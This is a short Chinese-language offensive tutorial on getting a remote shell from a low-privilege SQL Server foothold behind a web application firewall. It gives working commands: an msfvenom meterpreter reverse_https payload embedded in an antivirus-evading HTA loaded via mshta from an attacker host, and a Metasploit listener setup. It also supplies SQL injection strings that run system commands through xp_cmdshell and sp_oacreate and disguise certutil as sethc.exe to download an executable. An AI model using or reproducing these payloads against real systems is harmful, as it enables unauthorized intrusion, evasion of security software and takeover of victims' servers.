当我没拿到一个sqlserver的权限时,权限很小,且有waf的情况下,且只能透过web执行命令,上线到msf或者cs。

先看一下杀软

很多,还有国外的。
这里采用mshta免杀上线,参考文章https://www.zhihuifly.com/t/topic/2534
首先整个模板文件https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta,在这个里,
然后使用cs 或者msf生成一个raw 文件
msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o payload.bin
cs attacks

这里注意是32位的
然后cat payload.bin | base64 -w 0

把得到的内容写进模板里

然后起一个python服务器即可,
msf的要起监听
use exploit/multi/handler
payload 换掉 set payload windows/meterpreter/reverse_https
执行命令即可
mshta http://ip:port/msta.hta


1 2 3 4 5 6 7 8 9 10 11
| cmd= ";DECLARE @er VARCHAR(8000);SET @er=0x16进制;EXEC master..xp_cmdshell @er"
cmd2="declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'" cmd3="declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';" cmd4="declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f 'http://ip:port/SKXT.exe' C:\Windows\Temp\shell.exe'"
cmd11="exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;" cmd12="declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\\Windows\\System32\\certutil.exe' ,'c:\\windows\\temp\\sethc.exe';"
|